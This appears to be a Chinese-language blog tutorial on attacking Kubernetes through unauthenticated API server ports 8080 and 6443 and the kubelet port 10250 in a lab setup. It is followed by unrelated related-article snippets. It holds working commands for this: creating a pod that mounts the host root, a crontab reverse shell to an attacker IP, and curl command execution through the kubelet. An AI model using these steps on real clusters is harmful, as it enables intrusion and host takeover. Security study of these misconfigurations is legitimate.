云安全-云原生k8s攻击点(8080,6443,10250未授权攻击点)

0x00 k8s简介

k8s(Kubernetes) 是容器管理平台,用来管理容器化的应用,提供快速的容器调度、弹性伸缩等诸多功能,可以理解为容器云,不涉及到业务层面的开发。只要你的应用可以实现容器化,就可以部署在k8s 上,通过k8s对应用负载进行调度,配合hpa (Horizontal PodAutoscaling) 可以实现应用负载的弹性伸缩从而解决高并发量的问题。

简单说就是:管理多台主机上的容器应用,是一个集群管理(Master节点)

以往的攻击点思路通常:
外网信息收集打点,漏洞攻击,获取权限,提权内网横向…
云上攻防思路:

  1. 控制云平台管理系统,达到控制所有云主机目的
  2. 通过容器环境提权逃逸,获取宿主机权限后利用k8s云架构横向云服务
  3. 利用KVM-QEMU/执行逃逸获取宿主机,进入物理网络横向移动控制云平台

k8s的十二个攻击点以及部署图:

参考千里目实验室文章:
https://mp.weixin.qq.com/s/yQoqozJgP8F-ad24xgzIPw
https://mp.weixin.qq.com/s/QEuQa0KVwykrMzOPdgEHMQ

如下可以看到主控制节点master,以及Node1节点,Node2节点, 其中Node中存在pod,理解为对应的容器启动的业务应用。
在这里插入图片描述

0x01 如何判断对象是否为k8s?

端口判断:在Master,Note节点上有明显的端口特征如6443的api server服务 。
k8s新旧版本的区别:

旧版本会开启6443和8080端口,8080不需要验证,6443是TLS加密,老版本k8s<=1.16.0,而新版只会开启6443
因为安装新的或者旧k8s是根据业务主机工作性质去配置,所以不一定是全是需要新版,所以会导致一些问题。

实验环境:
K8s-master 192.168.139.130
K8s-node1 192.168.139.131
K8s-node2 192.168.139.132
下面poc采用小迪笔记

0x02 8080端口:API Server未授权访问

攻击master节点的8080,默认为旧版本k8s xshell连接master
访问8080不带s发现api接口,消去配置文件的8080,改为0,重启服务,无法打开
利用官方客户端工具:安装kubectl(管理k8s的命令行工具) kubectl get pods 判断pods个数(容器个数)
kubectl get nodes 判断主机数量 windows命令-s连接获取nodes
再获取pods,创建文件,创建添加一个pods,利用文件执行命令,(连接未授权的地址端口)在docker中创建连接shell,拿到容器的docker的shell,再通过计划任务反弹shell(因为创建的容器挂载在宿主机的mnt目录,通过反弹也是通过mnt反弹)
开kali监听端口接受到shell, 因为是再node中创建的,所以cron计划任务也在node1中才可以看到

新版本k8s默认已经不开启8080。需要更改相应的配置
cd /etc/kubernetes/manifests/
- --insecure-port=8080
- --insecure-bind-address=0.0.0.0kubectl.exe -s 192.168.139.130:8080 get nodes
kubectl.exe -s 192.168.139.130:8080 get pods
kubectl -s 192.168.139.130:8080 create -f test.yaml
kubectl -s 192.168.139.130:8080 --namespace=default exec -it test bash
echo -e "* * * * * root bash -i >& /dev/tcp/192.168.139.128/4444 0>&1\n" >> /mnt/etc/crontab

0x03 6443端口:API Server未授权访问

攻击点2master节点上:6443端口,错误的配置允许匿名用户通过管理员权限下发任务 确定有未授权:访问6443 泄露api接口
通过postman发送包,创建新的pods为test3,连接创建的pods,再反弹shell跟上面一致

一些集群由于鉴权配置不当,将"system:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。
kubectl create clusterrolebinding system:anonymous   --clusterrole=cluster-admin   --user=system:anonymous-创建恶意pods
https://192.168.139.130:6443/api/v1/namespaces/default/pods/
POST:{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubectl.kubernetes.io/last-applied-configuration":"{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test02\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test02\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"},"name":"test02","namespace":"default"},"spec":{"containers":[{"image":"nginx:1.14.2","name":"test02","volumeMounts":[{"mountPath":"/host","name":"host"}]}],"volumes":[{"hostPath":{"path":"/","type":"Directory"},"name":"host"}]}}
-连接判断pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 get pods
-连接执行pods
kubectl --insecure-skip-tls-verify -s https://192.168.139.130:6443 --namespace=default exec -it test02 bash
再去反弹shell

0x04 10250端口:kubelet未授权访问

攻击点3Node节点上:kubelet未授权访问 判断是否存在未授权:直接访问第二台node2的10250端口 xshell连接node2,
查看config.yaml文件,enabled为true,mode为AlwaysALLow(配置这两个会导致问题)
攻击132node2主机执行命令 替换三个数值,直接执行回显命令

https://192.168.139.130:10250/pods
/var/lib/kubelet/config.yaml
修改authentication的anonymous为true,
将authorization mode修改为AlwaysAllow,
重启kubelet进程-systemctl restart kubelet-利用执行命令这里需要三个参数
namespace  default
pod  test03
container test03
-访问获取:
https://192.168.139.132:10250/runningpods/
-执行模版:
curl -XPOST -k "https://192.168.139.132:10250/run/<namespace>/<pod>/<container>" -d "cmd=id"
-构造触发:
https://192.168.139.132:10250/run/default/test02/test02
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/159865.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C++之初始化列表详细剖析

一、初始化列表定义 初始化列表&#xff1a;以一个冒号开始&#xff0c;接着是一个以逗号分隔的数据成员列表&#xff0c;每个"成员变量"后面跟一个放在括号中的初始值或表达式。 class Date { public:Date(int year, int month, int day): _year(year), _month(mont…

STM32-高级定时器

以STM32F407为例。 高级定时器 高级定时器比通用定时器增加了可编程死区互补输出、重复计数器、带刹车&#xff08;断路&#xff09;功能&#xff0c;这些功能都是针对工业电机控制方面。 功能框图 16位向上、向下、向上/向下自动重装载计数器。 16位可编程预分频器&#xff0c…

软件测试/测试开发丨利用ChatGPT 生成自动化测试脚本

点此获取更多相关资料 简介 自动化测试脚本可以模拟用户与应用程序的交互&#xff0c;例如点击按钮、输入数据、导航到不同的页面等等&#xff0c;以验证应用程序的正确性、性能和稳定性。 自动化测试在回归测试、冒烟测试等测试流程中都可以极大地起到节省时间、节省人力的作…

第二十六章 BEV感知系列三(车道线感知)

前言 近期参与到了手写AI的车道线检测的学习中去&#xff0c;以此系列笔记记录学习与思考的全过程。车道线检测系列会持续更新&#xff0c;力求完整精炼&#xff0c;引人启示。所需前期知识&#xff0c;可以结合手写AI进行系统的学习。 BEV感知系列是对论文Delving into the De…

0002Java安卓程序设计-基于Uniapp+springboot菜谱美食饮食健康管理App

文章目录 开发环境 《[含文档PPT源码等]精品基于Uniappspringboot饮食健康管理App》该项目含有源码、文档、PPT、配套开发软件、软件安装教程、项目发布教程、包运行成功 编程技术交流、源码分享、模板分享、网课教程 &#x1f427;裙&#xff1a;776871563 功能介绍&#xff…

美团面试:Redis 除了缓存还能做什么?可以做消息队列吗?

这是一道面试中常见的 Redis 基础面试题,主要考察求职者对于 Redis 应用场景的了解。 即使不准备面试也建议看看,实际开发中也能够用到。 内容概览: Redis 除了做缓存,还能做什么? 分布式锁:通过 Redis 来做分布式锁是一种比较常见的方式。通常情况下,我们都是基于 Re…

yolov5简易使用

1.环境配置 从github上下载好yolov5源码后&#xff0c;根据requirement文件配置环境&#xff0c;使用conda新建一个仿真环境&#xff0c;接着使用 pip install -r requirements.txt 来安装环境&#xff0c;安装后首先运行detect.py 发现安装后的环境不能使用&#xff0c;报…

山西电力市场日前价格预测【2023-11-05】

日前价格预测 预测说明&#xff1a; 如上图所示&#xff0c;预测明日&#xff08;2023-11-05&#xff09;山西电力市场全天平均日前电价为192.40元/MWh。其中&#xff0c;最高日前电价为374.84元/MWh&#xff0c;预计出现在04:15。最低日前电价为0.00元/MWh&#xff0c;预计出…

【C++初阶】类与对象(二)

目录 前言&#xff1a;一、构造函数1.1 构造函数概念1.2 为什么有构造函数1.3 构造函数的写法及使用1.4 默认构造函数1.5 哪些可为默认构造函数 二、析构函数2.1 析构函数概念2.2 为什么有析构函数2.3析构函数的写法及使用2.4 默认析构函数 三、拷贝构造函数3.1 拷贝构造函数概…

node教程(四)Mongodb+mongoose

文章目录 一、mongodb1.简介1.1Mongodb是什么&#xff1f;1.2数据库是什么&#xff1f;1.3数据库的作用1.4数据库管理数据的特点 2.核心概念3.下载安装与启动4.命令行交互4.1数据库命令4.3文档命令 二、Mongoose1.介绍2.作用3.使用流程4.插入文档5.mongoose字段类型 一、mongod…

windows + Mingw32-make 编译 PoDoFo库,openssl, libjpeg, Msys2工具的使用

参考&#xff1a; https://blog.csdn.net/sspdfn/article/details/104244306 https://blog.csdn.net/yaoyuanyylyy/article/details/17436303 https://blog.csdn.net/wxlfreewind/article/details/106492253 前期进行了各种摸索&#xff0c;由于Podofo依赖库比较多&#xff0c…

Leetcode—100.相同的树【简单】

2023每日刷题&#xff08;十八&#xff09; Leetcode—100.相同的树 递归实现代码 /*** Definition for a binary tree node.* struct TreeNode {* int val;* struct TreeNode *left;* struct TreeNode *right;* };*/ bool isSameTree(struct TreeNode* p, struc…